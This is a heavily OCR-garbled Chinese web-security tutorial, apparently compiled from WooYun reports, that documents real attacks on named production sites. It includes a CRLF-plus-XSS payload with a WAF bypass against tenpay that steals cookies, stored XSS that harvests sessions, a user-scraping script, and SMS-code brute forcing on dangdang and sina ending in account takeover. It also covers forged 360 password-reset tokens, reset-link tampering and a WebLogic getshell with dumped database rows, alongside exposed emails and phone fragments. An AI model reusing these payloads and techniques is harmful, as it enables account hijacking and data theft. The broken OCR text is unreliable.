JIR 55 A A Y 336 SRS B AT 2 A5 s SCAL PR, L4205 400 D i o2 ) — 057t 89 0 T
o SRR XSS &R PRI, ARE By St Iy, B A i A Rt v
fi A I o

LA s ROV AT SR Y XSS — M (PSR VL 44D

ST LR E , 1H# T @mramydnei, —2XAifEl bypass WAF, &S M 1) oRATE 300 !
IS S 5 ) 1 R

2] TR BERHE A

1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html

2. http://drops.wooyun.org/papers/2466

KRAMEWE T IR A — N, T RBCREWI A, 20, RS i BIER
I A% N (0 S AR 2 s 5 R S IR R (0 258 DR AE S BB A A, (B R A AR
A i A A W] LA -

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a
4 EIF

HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Sat, 30 Jan 2016 12:08:28 GMT
Content-Type: text/html; charset=gbk
Content-Length: 0

Connection: keep—alive

Cache—Control: no—cache, must-revalidate

NN NN AN AN AN AN

Set—-Cookie: pass ticket=a; Domain=wx. tenpay.com; Path=/; Expires=Sun,
31-Jan-2016 12:08:28 GMT



A LAR B pass_ticket ZHFE Set-Cookie H', HAEMSET a, BT RFEXEMA

https://wx. tenpay. com/cgi—bin/mmpayweb—bin/balanceuserrollbatch?exportkey=&pass
_ticket=a%0d%0a%0d%0a<img src=1>

RBLIR B2, AN LIS (3R T AR B P FR) S DR - 3AT T T BAFE 3R [0 (1 Sk 38 e HTTP Sk
fE R, PRE A Content-Length, #iAT UKL BN A BT T img FR45!

https://wx. tenpay. com/cgi—bin/mmpayweb—bin/balanceuserrollbatch?exportkey=&pass
_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E

R AR

HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Sat, 30 Jan 2016 12:15:03 GMT
Content—-Type: text/html; charset=gbk
Content—-Length: 60

Connection: keep—alive

Cache—Control: no—cache, must-revalidate

Set—Cookie: pass ticket=a

NN NN AN AN AN AN AN

<{img src=1>; Domain=wx. tenpay.com; Path=/; Expires=Sun, 31-J

BN Rt RER — NP, A js U T ! AdiX B WAF, AL T PRI R SeAs
&2, PM @mramydnei 5133 7 AhAI5EI=CHR, $RALIERK X bypass HIH#1F:

KAE R FE . 1. 36 Content—Type X response F1H] charset 2. & F— N FEREE, £
WEZ P RHEF NP/ g Eds 2% (1] L2 unicode transform) 3. 4%
S ZME AN B, blacklist FEM FZRF 2 18] 4. done

https://wx. tenpay. com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass
_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type: text/html ;%20charset=1S0-20
22—JP%0D%0A%0D%0A%3Cimg%20src=x%200n%1B%28 Jerror=al%1B%28 Jert%28document. domain
%29%3E

(B BUB AR s, RIESHEHE N 7K, BRREZNEER, LRANEGFEI)
H bypass WAF )72 Ja, 2 Ja— ViR @EARA3 & 5. 7, F X-XSS-Protection:0 2 ¥
RH XSS 1 E, AEBATAH A RARAD A B AR T i M #7728 bypass.

21 Payload:

https://wx. tenpay. com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass
~ticket=a%0D%0AContent—Length:120%0D%0AX-XSS—Protection:0%0D%0AContent-Type: tex



t/html ;%20charset=1S0-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%200n%1B%28 Jerror=%22a1%
1B%28 Jert%28document. co%1B%28 Jokie%29%22%3E

miiZ JE, 9 Cookie

wix.tenpay.com says:

pass_ticket=a; pass_ticket=a; ptui_| Ioglnu|n=_}tlsp ctc;

ptcz=70deba
ptEggum o ; uin=o skey_

p uin = el

p_skey= HGME‘“

M rvo.,, —— pmmre
tpgkey=F1 SAAD : certallnum=0;

certinfo=1|; certlist=; certuserflagzlejs_staff=1; glattid=1; glsign=27|
nG2m edK*Cs243Y3cMxls

qlskey=01 oSl 1 o vuid -

gluin=

verifysession=h0 Gkl o ORORR | -7 1b6chbad17e976

weﬂﬁl_: qa_logtype=1:
pgv_pvi :S?MB; pgv_info:ssid:s&

__| Prevent this page from creating additional dialogs.

www.wo g

LEWES

1€ CRLF

b.  fFfgY XSS

Wk H At —/NEBE A N IR G & ORAF — BT TR], — B P U 1) 20 AR 10 X T S A
B R R T o & SCA SN 25 8], #A AT XSS B e, 5™ =] A S 20 XSS i 5,

Rl EEPEIERGAAET XSS I (B ERK AR5

http://222.178. 225. 36:8083/SMS/

HE S H o] BN xss

http://222.178. 225. 36:8083/SMS/freeWill. json

& IFT B cookies
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=
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+g5  EE

& 2016-04-25
11:14:20

-{f&  2016-04-25
11:14:20

LS

SR BERL
< E

CHETREMERE D> (20155 F 154

PR

» CRI0OMIEES MITRES

* CRISO VEIRE RS RRIR
» EREAETROTA SRS

» 2013%8H9H , B7760 WIERTIR

» 2014528238 | LBWATINITC52622.

» EITEMERGESS
» ETERRRER

» EENTERR 2 ARBRIRA®

» ETHEGRRGATREABOGT®S

FeE

EHAINE

location : hitp://172.31.86.12:8083/SMS/ed
itFreeReport. htm?operator=check 1&repor
tld=4727

toplocation - hitp://172.31.86.12:8083/SMS
loalogin.htm#

cookie -

location : hitp://172.31.86.12:8083/SMS/ed
itFreeReport htm?operator=check 1&repor
tid=4727

toploc ation : hitp://172.31.86.12:8083/SMS
/oalogin.htm#

cookie : JSESSIONID=9

BRRLEa#158 (47.412)

+Ez RERYRRIDR
- 09-25 » XTSI TreOmE e
- 08-06 » RTIESEFEDR ST ol
. 07-30 » TR MRNeR S H R T e -
06-20 » RTIER CUSHE SR
03-15 » BORBRTEREEIRTE
+Es AR/ RS T
TR
N
o
07-31
+¥E R

Request Headers

01552 ATEARBRTRE 8 ARG A TRE

HTTP_REFERER : http://172.31.86.12:80
83/SMS/editFreeReport htm?operator=ch
eck1&amp;reportld=4727
HTTP_USER_AGENT : Mozilla/4.0 (comp
atible; MSIE 7.0; Windows NT 10.0; WOW
64 Trident/7.0; Touch; NET4.0C; NET4.
0E; Tablet PC 2.0; InfoPath.3)
REMOTE_ADDR : 222.178.225.45

HTTP_REFERER : hitp://172.31.86.12:80
83/SMS/editFreeReport htim?operator=ch
eck1&amp;reportld=4727
HTTP_USER_AGENT : Mozilla/4.0 (comp
atible; MSIE 7.0; Windows NT 10.0; WOW
B64; Trdent/7.0; Touch; .NET4.0C; NET4.
0E; Tablet PC 2.0; InfoPath.3)

£
il

2¥RMe0YUN.Org

REMOTE_ADDR : !

RERLTMERS (F+08) ERRRTRAS SR 148 (330-46)

www.wooyun.org

+ == TUERR(ES +E=
10-09 ¢ MEseTwee (5°+78) . 06-02
08-05 » RERsTREe (55 H-8) - 06-02
08-01 » REANSS @S5 (5.25-531) = 06-02
08-01 + REVEAESSIETHEMTEER (20 05-28
07-09  RANSSLMSE21M (518-524) 05-28

+m= BENE + 2z

| BE-EER-EARR.. o 0129

* UFRDENS =R RIS FERE 01-29

+ RIREHARIZA - 01-13

* LBG=ZAR 01-13

» NBW=2AR 12-09
+¥3 AR

ERRTRESF S
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ETT T

SRR R

R ETE

HlEER
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ARTS AR ABERT

1 hugy IR BREAERE
2 wangny ExE RTERER

3 caishuang =l THITEEER

4 lizy FEAk TTEEE

5 yangaf ATHE ST

6 liujie EURS ETEETAES
T liuwen a3z St it E RS 5P
& fangjb i R

9 chargjian B FEFEACED
10 wenning 32BA TWTEERE

11 sunch FhERRE THITERER

12 zhanghin B, HETRES

13 panhl Bk s ER

14 hoxabx AOCHR T 1R IE KOG GEATIEHI L)
15 scihx2 socTtaHil e AOC GETTHERIAL)
4 | page[ aloras | b bl | @ www.wooyun.org

TR 2

f#coding=utf-8
import requests



import re
from lxml import etree
import time
import threading
import sys
sys. getdefaultencoding ()
reload(sys)
sys. setdefaultencoding C UTF-8’)
sys. getdefaultencoding ()
def postcode (pageld) :
url = “http://222.178. 225. 36:8083/SMS/queryCheckPerson. json”

head = {
"Host’ : ’222.178. 225. 36:8083",
" Proxy—Connection’ : " keep-alive’,

"Content-Length’: ’ 717,

"Origin’ : “http://222.178. 225. 36:8083",

> X-Requested-With’ : ~ XMLHttpRequest’,

*User—-Agent’ : "Mozilla/5.0 (Windows NT 6. 1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0,

"Content-Type’ : " application/x—www—form—urlencoded; charset=UTF-8,

“Accept’ : /¥,

"Referer’ : " http://222.178. 225. 36:8083/SMS/choosePerson. json’,

>Accept—Encoding’ : ’gzip, deflate’,

’

" Accept—Language’ : ’ zh—CN, zh;q=0. 8,

"Cookie’ : 7 JSESSTONT Dsskskststesr’

}

data=
"start="+pageld+"&limit=15&sort=1D&dir=ASC&dept=&role=&userRealName=&workNumber

_”

proxy=1{ http’ :>127.0.0.1:8080" }
key = requests. post (url, headers=head, data=data, proxies=proxy)
#iprint key. headers
calc = key. text
num = re.findall C USERNAME”:” (. %?) "}’ calc, re. S)
print num
fpl = open(”C:\Users\Administrator\Desktop\\loginname. txt”, a’)
for i in num:
fpl.write (. join(i.split())+ \n")
print ’page spider full’
print u’ JFAHIEC
count = 15
for i in range(0, 48) :
pageld = count



count += 15

postcode (str (count))

LRI SR — M (HEBURA I E T =
rangxy/rangxyl123
AR5 A T 25 wooyun Al

CEE=
1 TLEERER
2 3 iTl#FeiEa
3 ERAhTE 508208 (5.25-5.31) iTlEEES
4 Eli R ARE4EiTHARNBR (20155855 ) iTlkseER
5 EARTE {50818 (5.18—5.24) iTlEeES
6 el et e o TlFEeER
7 HTELTMEES (E-+ED TLhE2RER
8 iTl#FeiEa
9 iTlkEeEs
10 iTlkseER
1 HTELTMEES G4\ iTlEeEe
12 BTELMEES E+HED TLE2RER
13 ERNTEZS {58516 (4.27-5.3) TlE2ER
14 ERnTESEEE1I7H (420~ 4. 28) iTl=2ES
15 CRTELTEES S (20lEF16H) ww@%n.org
{ 4 |Page 1otz | b bl | &
BEITR:
1. i 3E XSS
2.4.3 Fuzz

DigelliAH i 2 —28, G Al g — MK EA B SRR S IEL RS 8 Digei k. CAR
fuzz AHRIX S HIE.)

ANRFFEZEE), (BEBEATEY,  WooYun: ZEuG2 EBUINNRSL 2 AT & S0k FAEIRTR
A RES M LR —— spike

2.5 PSR BRI
2.5.1  FHAPRIERSIWME

a. VUA7EE 7S 4%
ZH): YA s SRR
http://m. dangdang. com/forget psd. php?sid=el4aa9b65e0f4d05

N EHHK S TSRS, SRR IRAL
T30, XIGIERSHAT B, T IEAD R 4 Ao WIEURALAIE LR, 0B R A A



Ko
WAL T, 2K, RIHBE T BT .

POST /verify fp.php?sid=e88bf0alld2e7920 HITP/1. 1

Host: m. dangdang. com

User—-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101
Firefox/14.0.1

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0. 8
Accept—Language: zh—cn, zh;q=0.5

Accept—Encoding: gzip, deflate

Connection: keep—alive

Referer: http://m. dangdang. com/verify fp. php?sid=e88bf0alld2e7920
Content-Type: application/x—www—form-urlencoded
action=verify&sid=e88bf0alld2e7920&mobile=xxxx&verify= 3§ v § &submit=%EF6%8F%90%E4
%BA%A4

Filter: showing all items
(results I’target ]’positions rpawoads ropﬁons ]
request payload status error timeout length comment
387 9603 200 ] L] 1983
357 9643 200 L] L] 1983
349 9651 200 [] L] 1983
266 9734 200 [] ] 1983
202 9798 200 ] ] 1983
166 9834 200 ] L] 1983
|%M 200 [ ] 1983 L
: 2741 200 L] [] 2976 |
200 =i ™ 3849 taseline request
7284 2716 200 [] L] 3849
7282 2718 200 [] ] 3849
7274 2726 200 ] ] 3849
7273 2727 200 - L] 3849
7272 2728 200 (] ] 3849
request rresponse |
raw rparams rheaders rhex |

POST /verify fp.php?sid==88bf0alldZe7920 HTTP/L.1

Host: m.dangdang.com

User-Agent: Mozilla/5.0 (Windows NT €.l; WOWE4; rv:14.0) Gecko/20100101 Firefox/l14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;qgq=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://m.dangdang.com/verify fp.php?sid==88bf0alld2e7920

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

action=verify&sid=e88bf0alldZe7920&mob ile=~ NS crify=2741&csubmit=%EE%8F%90%E4%BA%)
Www.wooyun.org

2.5.2  REEE

a. url R [FIEGIERS A token



FBl: LT RF5 B R sk

FEF5 I AR F5 0, d T R Bt S, T Bl s R R B

HANFREMLL, SR, EFRFSER

http://tuan. xiu. com/account/repass. php

BN S R FHL SRS, SR GIERY, SRR EANE, B firefox [ firebug &
TR, BRISEAS . ..

£ 0| = yi EPA HTML Ccss M& DOM | @~ | Cookies

w| me [ @] mE] ML oSS Js XHR EH Flash  gRIK
) REEREHE. EERAREHOEFERETLHEER.
=/ http://tuan.xiu.com/ajax/sms. ?action=user_reset&mobile=
S IMHE WE SF HIML ISON Cookies
MR AR
Expires Thu, 29 Mar 2012 06:02:11 GMT
Date Thu, 29 Mar 2012 06:02:11 GMT
Pragma no—cache
Cache-Control no-store, no—cache, must-revalidate
Content-Type text/htzl
Transfer-Encoding chunked

Carmiar Lnarha

Cd
o2 L

verifycode=2807&time=0.5712456843774052

WWW.WOOoyun.org

EHEmM ARSI & iy, . .
Hosz, BMEAS I BEE, XAt AR, T AL B, Ba A LB E . .
Wiz % . WooYun: KEERNIEMIEIF

http://tuan. xiu. com/ajax/sms. php?action=user reset&mobile=FHL51E
&verifycode=8889&time=0. 39637206563755256
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KEAZNELNL, FHIEM AT ELEPISKATRTR, T SRR R, B R 55 v A8 LA
JUBCE RS R, 3G T LM T LS .

KEANELNL, FHIEM AT DOE KA RTE, HT LA IR,

Ly IR 555t P S 5 O FHL 5 BOA R B GIE, R R R FHLS

2. MPiBR A FHIVSIEMHGE KRG, RS m A IZTHLS LilkiE—A 4 758 IR

3~ RS B A I B UE RS 38 VA R, I LR 5% S X XA 56 TR RS R A PR 8] A2 8 Y P
T J IR SR AE fS R ATV

4 JERLVENHE R AT R IR KT R

5+ JOBRVE AL AE S TC R G 2% W KT R



*x root@bt: ~/Desktop
View Terminal Help
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1
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1956
1957
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1] S

(CLWES
Lo JIR5 it P B0 A0 FAL S IE A
2+ TS5 v B TR E R A A R e — 2
3. MRSSu 1 E FHLLG RS0 O, e S s R A
b. K [l FEE
FE T 3 2 R ] R4 e 2
2] sohu MEFFAERH P & A E
IRMAT L, WARH GRS R, IR T PSSO S AR 7 A 2 A
AT S A IO S T b R R B A T R, P IR 0B R, 7 R DU VAR B

AMEAE SRR AL, Hide 2 5 HLZEOR M fr] FRUER 58, W] SRASAE RO P B TR A ) R 52
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w b4 ID http://passportsohu.com/web/Recoveerdﬁ;I l‘__fj[Z] |b Live Search IZE]

o

CHEE A B - ey TEP) - ®26)7 IR0 @

SIS

SHEREDHERS

BRI A

CEA TR

B

& B

FHSH:

He
ol
=3
o

EfhEEER:

wEE) #0)

R

[[TTTTe

T
item-2 sohupp-clear"> :J

<div class="sohupp-
input-item-left sohupp-fleft">EIBRTRIEM: </div>

<div class="sohupp-
input-item-ct sohupp-fleft">

<div
en" class="sohupp-input-item-label-

</div>

<div id="sohupp-
nsgimg-promptproblem” class="sohupp-input-item-right-msgimg sohupp-
flefe" ></div>

<div id="sohupp-msg-
promptproblem” class="sohupp-input-item-rig a pp-fleft DD
msg-gray” > </div>

</div>
<div class="sohupp-input-
item-3 sohupp-clear">
<div class="sohupp-
input-item-left sohupp-fleft">&F 5F: </div>

<div class="sohupp-
input-item-ct sohupp-fleft">
<textarea
ohupp-ipt sohupp-ipt-height"” type="text"
pame="answer"></textarea>

</div>

<div id="sohupp-
msgimg-answer” class="sohupp-input-item-right-msging sohupp-fY@RA(.WOOYUN.ONG



R BITIE

passport.sohu.com

TR AE:  sohuinfo

5 = =
|
.
EHREREA
SRR Xmmk R
T

R SEFATRIRPERR FLPIF?

WWW.Wooyun.org

K F 2 H webmaster@vip. sohu. com I FURIFIE R, MAFRBE BRI 20Y

c. IR[AIKELR I UERY
Bl HrRFIE R A A B GRS 5 B2 R AN =)
HHRFESAE R P B2, SR

o] f Ak http://esf. sina. com. ecn/ [HHR —=F/5]
T 20 S Ak S B 5%



(€ ) @ broker.est sina.com.cn/login?client citycode=sh Y % v c|[E- 5= ko Plid A
wEms ) wEres L 2wms [ Mueis @ DFAToken @ EasyAD

WERARESLARSETE  SBI WE iER
(o] i
SINaifiiR—F /% WR-FR HRER BE-FR EEEE  HEED

%FgZEA % E“T ERPEZEAREEFE

WERAB R AHTD! AP | |

WEBRREG, MEEHDERE!

O eiEmmre O BHEs

ZEAEH | ~ARPER | FREPMRER

FARMGE: 021-60867130/60867260
ERphbEE: sh-esfservice@ecfang.com

O BBEN
GRS AL AR
E—RAIR! FREFHEOAERE] TETHRRRHRETENSE, HRRSERES, HPSEPREIERERS, ML ARERH

B J5 A B i
1E http://broker. esf. sina. com. cn/login/findpassword FLii%m AR 44 PNAL

& | @ broker.esf.sina.com.cn/login/findpassword ¥V BacllBl. gz cuk LB # &

R piass — burp suite professional v1.4.07 - licensed to DrakonHaSh
wiams s ke L @ U ARtRE @ DFAToken @ EasyAD J $
burp intruder repeater window about

target | proxy | spider | scanner ’ intruder rrepeater I/sequencer
@ 3 — intercept | options | history
S|na#iR = F

ﬁﬁ- response from http://broker.esf.sina.com.cn

l forward H drop H interceptis on H action I

ﬁ@m /raTt headers | hex

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 28 Nov 2014 09:22:15 GHMT
Content-Type: text/html
Connection: keep-alive

2 ByiEe Vary: Accept-Encoding

X-Povered-By: PHP/S.2.13

Expires: Thu, 19 Nov 1981 08:52:00 GNT
Pragwa: no-cache
Cache-control: private, must-recalidate

srv-id: 91

srv-id: 47
ﬁ?&%: v |llcontent_Length: 51
| {"mobile_phone" :"a92c£770e NN 68a88£c6570h1" }I
FHSHE:

FHEIE : SRR

S

A LAE 2R B & H ZH P TS
Wit R, 13 2|HH P shenzhen FIFHL T 182%k+x7672
TEZIIR B AN R G TS, I A RIEEIES . R



& @ broker.esf.sina.com.cn/login/findpassword U R el gz ik L5

@' $EBE O Eres ] By O FRGRE @ DFAToken @ EasyAD J 4 burp suite professional v1.4.07 - licensed to DrakonHa
=) i L oken asy)
burp intruder repeater window about

@ T intercept | options | history
s,na%’f ;E —_— %E BT | response from http:/broker.esf sina.com.cn
[ rowara |[ arop |[ imterceptison ||

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 28 Nov 2014 09:26:31 GMT
Content-Type: text/html

Connection: keep-alive

wg. Vary: Accept-Encoding
1 ﬁﬁ Expires: Thu, 19 Nov 1981 08:52:00 GHT

Pragma: no-cache
Cache-control: private, must-recalidate

srv-id: 49
srv-id: 47
Content-Length: 32
Z=H=:  shenzhen v
75ce8d1e65d9h£98d53ba992e605%elc
FHSE: 182MMN672 v
FHIIE :

FAGE ==z

] DLEAS WOAEAD In s 5 R B 25 T o Vg, AT . S H IR A 234589,
NI

‘(- @ broker.esf.sina.com.cn/login/findpassword2 UEvc ‘7@- S <Ctrl+K> Al B A
wiame ) # ree L By () AmRE @ DFAToken @ EasyAD

RERRRSEARETE  REBEIR R RNER

s%a%ffiﬁ:%% HR=FE #RER BE-FF SEES

HEIEE

2 BoiEs v REIR&N

FEEAEETY,

skekskeskeskeskekeskekskekeskekskekskekskekskekskekeskekskek sk

THHREAEENT

I JLRIER, RIS SRS PR A A .
A SRS R 6 4n, BARKERALI LA —fr K.
Eetnos Il 123456, {H—EA 2 I 123465 15 L.
B 5 13RS G A .
FANGAERG S — 7 A4 & 2. 3. 4.



sekskserskskesksiokeskerskskekeiskskersiokeskerskskekekok

IS BB

234567
234568
234569
234579
234589
234578
234679
234678
234789
235789
236789
245678
245679
245689
245789
246789
256789
345678
345679
456789

BRI H B S 1 246789



% intruder attack 8 1 i_ h

attack save columns
Filter: showing all items
{ results I/ target r positions rpayloads r options |
request payload status | error | time length comment
7 234679 200 [] ] |369 -
8 234678 200 [] ] [343
9 234789 200 L] L] (343
10 235789 200 [] ] |369
11 236789 200 [] ] [343
12 245678 200 L] L] (343 |
13 245679 200 [] [] {343
14 245789 200 [] ] |370
15 245689 200 [ial L] [369 3
16 246789 1200 : 1446 T
17 256789 200 [] ] [343
18 345678 200 L] L] [369
19 345679 200 [] ] |369
20 456789 200 [] [] {370 |
........................................................................................................................................................................................................................................................................................................................................................ [
request | response |
raw rheaders rhex ]
srv-id: 49| 2
srv-id: 47
Content-Length: 227
logincallback({"result":"succ",6 "cookies":"FY LUP%3Abt%3D822757945%26email%*3D%26L%
3D10001%261loginname%3Dshenzhen%26mobile%3D1587418013%26uid%3D%26ut%3D%7CFY LUE%3A =
eeed4f0f881le7a029a90a5db8ald6df2" ,"un" : "shenzhen" ,"pd" :"246789"}) =

[xll=]l=]] | 0 matches

ZE, EIEFZH

| € ) @ broker.esf.sina.com.cn/my/indexagent R S PlihdE A 3
wagz [ sEre L 2w U AEehE @ DFAToken @ EasyAD
LEiAA: LR (shenzhen) BIEED | EMRIR | #aha | Z2BRE
FEZLANBEE
o o o M Lot o ST (T T
0 TSR AR E: AHEE > EERLER
B BEERRR tREF, iR O
g o EEEEE (mEuS)
VeuuE WS 04 (2T Rk 0 (EEED
N ERAE: GBER Wh: FFR WER: BUAT
B N AMKSEI: 20200l B0IE (Rl 1061 K)
i::fﬁi EETREAY LS S 5o BISSE 100 %5
2 A AR S R BRI 100 %, BIEALL:
CERIHLE arml Sii
BBl BONE MR (arme | (EmEE
TRRRER | it || st |
| EERE
DizsE A | o L L
HEEE B, COEREERS, BASE SREEGHOBILNE: 173
i RRES EREGEE  RRSSE MBS SEANERE | SKUAEE LR
TR ‘ | | | | | sl
s G ‘ 10 0 s® ‘ g | o | 0 1000)
| i i FoEETS 3
prew— N FsiRRE SRR AT ‘
S AT
ZRA A ABAS:
HBSHBHMT = — —

LEWES



Y UERGFL 0 LR A
AT U R 10 Y 2

2.5.3 MR IS token

a. MWFIE)EL) MD5

F: 73R 360 AE S A E ORI

TP 360 A EATUEHR Rl A AL I AR R, 3 80T MBS R (35

TR MR IS 224, BTBARA T 3 S A B S BT, 229 Rk o

360 ML LIR) T T, Hln 360 “Ae DL RG m&lr, bt Wik=s, HESHH,
HMFIXAS sso Jwid n] LB, fEF IR IR™EK .

TEAH ] -

Fe I H R el — S, EE WA, R N AR

360 NAHLLER [ (D!

BRI HbE: http://1. 360. cn/findpwd/setpwdfromemail ?ve=c4ceddd3d566ef83f9[ T 5§
e ]&u=[ L FE 7] %40gmail. com, B I E 25T !

USRS AT R R D e, A ST BRI ER B

ve I LVE & —H md5, % — FRIEN T, KL 1339744000, 5 —oi @A id,
23N id I BB u R A MBS R P RS, W T AT BL, TEE X AN,
A AKKT, f5F, 58, 186, BABEA unix B HEWE?

FERTE— T R B NI TR B4 AT ARSI — R sbAR AR, F P BRI 25 RS ), 7=
A AKETRR TR, S5k 590, I0RAEENELEEEN, IB2B80X N %520
FRFNE XA B A R LL, BHLEHE, HFEF RS T — N7, 2 R i A i [ a2 B
AR, BRAE—E AT (B B N AT B 006 M, AR Ut vT DAIREEX N 279 2 |

5T exp Wik —TF

i~ $ php 360.php @gmail.com

[+]You Got it!

[+]10pen this URL:http://i.360.cn/findpwd/setpwdfromemail?vc=¢ 56ef83f9f638L
[+]Good luck.
i~ 3

TR



M @ 1.360.cn/ findpuid/setpudiromemairve (DS <=3 63507 4D ~GD . -i.com [ I ‘.:'v Gooq
— ————————

778
S TADM B |28 360
EEESB

Copyright©2005-2012 360.CN Al Rights Reserved 360&£5u()
FRICPIE080047S

WWW.WOOYUN.org

EeE i a R TR 0, RIS s % 6 B

B0 AR U
[ K-:iv Google
[ YT
%S AN WSWE  WEER 0EE-
E 2 X
AAFER 5
PR T RGER
#nsn @Pesmai.com wmsin. (D
EHERA: B% BEOATN Kb WREE BEAE @ 9 ‘“
: D e e
A, ATHaAER01LEEKAEFERE, WLKFLELH360 06/ 14H1JF5 24 08 10 11 18 20 29 06

THih: 412043975 TTARBOHER8GYUN .org

Bingo & & H AR .

360x=i - RMYRE x

M@ ¢5.yunpan.360.cn/my/findex [+ ] .:7 = H

— S - oG- v —

= maxs f RS
4-: A bE SHECIIER || TR || EERE

WWW.wooyun.org

FPE, A& sso, (HAZBESAENIE T %0, so AN o BITCHTEM
PS: FHANKIL T —A/INANE )RR, G0 SIS 55 B 20 B R R A 5, I SRS 2 R
IXAELE T SR T R RRABT,  AHX L B[] e



(CEWES

ATTTINEBA AL, Bk 2 TR T, HoR .

b. M4
c. JRESARI A
ZM: T IR AT R P A R BRI (BT SBE Z BD
1. 32 22 HARAE AR vh M F) 7 FH 22 2 Pl
http://www. appstar. com. cn
EHARBI AT LR R
o % X 3l AR 23 R SRS A 55 AL AR R S U iR
2. LTS —/MERH S E BRI, #0082 token ANEFREHL, FREAHR S RIS
(8] AT DA SR IR A R 1 AN P 25 20 WA o A 4R IR B #2280 B8 031) A F) 85 R J5 aot m]
LI IR 23 E AR 2 P 30 L TR AL it o

3. E S H 2 MK S RN R B AR EAT XL, JF 2 ANEE, 2 AR R SR R

F£HEFEF - Hicroso ft Internet Explorer
HE REE FTEW BRE IE@ o L
Pt O-RNRAG Lem o @35 £-UOH B

4t @) @] http://wwn. sppstar. con. cn/EorgotPsd. htn v B wa

4 ;
BB - 574894486@qq.com

cef3

EUEES :
tF%’éﬂé 23K

AL, B @ et
.
TIiCEB
SRS : Freqgemiax

E:.“



M ZE - Wicrosoft Internet Explorer
HEE) SHEE FFEW W@ TRD FEha

Q- O NEAG O fwmx @ 2-2 -LJOHA 3

Ak @) IQ http://www. appstar. com. cn/appstar/web/reset_psdok. jsp v| 3

BNEBCLEERY , FEEER

EFNNA SRR SEERESETE |
EETEEAEE : 574894@I6@qq.com
ARG (EEERER) | S AEREME
WRERTTEREER , 5§ |

HE K/EE® FFW B HEE IE@ #EHo
| EmEEz 2 x@

@ www. appstar. com. enfappstar/web/reset_psdok. jsp o v [ - Google <Ctrl+E> ) LR
3

BHERCEEENT  EEEME

SRR SRR STEREEEE |
s=sEnsEs : 172710918@qq.com
AFATRIERE (BRI , SR
MESETIEERREIR | 858 !

4. LA BT 25 B 4R A S AR

IHE @WEE FFEW W@ TAD FHow i
. < A jut =

Q- QO HRG Pudwr@ -5 6 [JOK 3

Atk @) @ http://mail. qq. con/cgi-bin/frame_htnl?sid=1bt6ZFUdbCi DJwVRer=d12£063b4aci20b2451 acfBA0SIfcdd2 v B w3 s

O ENRROBIRSIARIE  BITER XN T RAENTHE. SUGHERE RSB 0RNES. | &}Eﬂ%ﬁ;’\

~elaq [t S e
M@' I mai,_EEfE HFRET | BE - Bk

EiRE | eyl | E

| Q apHFAEE... -

Hi574504@6@aa.comMP, B! RMEIRTRAZEMS ! ERE TEMNETREETIDNGEIRE.
http://www.appstar.com.cn:80/reSetPwdCheck.action?
email=574894.6_@qq.com&startchckTime=zo1501os1056@u§2@ﬂﬂEmailﬁﬁ7ﬁﬁﬁﬁéﬁﬁa iEiE& L EmaiE N E
R IHEH A M SENE NG, MREAEERMTRPERHEMEE NS, EEE SRR

WA (1)
EARHRE K
iy [teEEs : de
r — o - = = :
——| | gall me | mees | wr | mee | memse | ase | s lmen - lmsm o~ b0 s
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BEHL token HAHZE 4, FLXHEMZA G, WRZMELF, RiZAMZE 1-2, token B 5
Ik

5. ¥ TR MG I B, FRIAIE Y T

o - = LEm W s ~ g T S et

Bt () | ] hetp:/fwew. appstar. con. cnfreSetPudCheck. action?enail=1727103188qq, condstartCli ckTinde20150106105624

= RZFRHIE RZRARL B B RS
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TNz 2

BE 75 : |172710910@qq. com

AFRE
=6H5.
BAEES :

SRS - @ srs e

VFEEEE MAZZREER

BN



TNz 2

BE #& : |1727109182qq. com

AR )
=19

A .

BAFES - e srs e

MEEEE HAZE2RSER

LEWES

Haam Bt token

2.5.4  HPEERHKME
a. FISINIER
2l FUEARATIE VS 4 GetShell BUmy /b EEUREIE (FHUE S
http://118.213. 246. 48:7001/
751 getshell
http://118.213. 246. 48:7001/bea_wls_internal/1. jsp
G TR

mask [X 3%,
soksdokek | T skstolokok

jdbc:



<url>jdbc:oracle:thin:@138. 138. 2. 123:1521:ZXBS</url>

{driver—name>oracle. jdbc. xa. client. OracleXADataSource</driver—name>

{properties>

{property>

<{name>user</name>
<value>WXBANK</value>
{/property>

{/properties>

<{password—encrypted> {AES} BaFOYOMt xH4 JmQY5z+AQ+4a5VDvCwUxWDNhncKi1labk=</password
—encrypted>

Run SOL query/queries on database / Switch Database : — Select a DataBase — ¥

select * from ZXUSES

RIS

100 where rownume<=20

[ aver | Bt | Svorto e

Query#0 : select * from ZXUSER

SEQUENCENUMBER USERNUMBER

NUMBER
4386
4387
4388
4389
4300
4301
4302
4303
4304
4395
4396
4397
4393
4399

4400

100 where
PRIORITY EXPIRETIME ATTIME MESSAGECONTENT
VARCHAR2 NUMBER  TIMESTAMP TIMESTAMP  VARCHAR2
18697 5 2015-10-20 14:42:51 FHEES 4, 1. SETEEREERTERIRGT, EREFREEARE!
18607 5 2015-10-20 14:44:50 EBEMIN,  SERTEMRTIEEREN, BIkF062367021000000374, FEETAS LT BT
186071 5 2015-10-29 14:46:10 FHIEA 9 FS 1. SIETE R ERTERIRT, EREFREEARE!
139971 5 2015-10-29 14:47:35 FHRTEE 4, FE 1. SEEHRESRTERRT, FEEHRESARE!
131000 5 2015-10-29 14:47:53 FHIERE 72, B8 1. SEERATSRITERRT, FREHEES ABE!
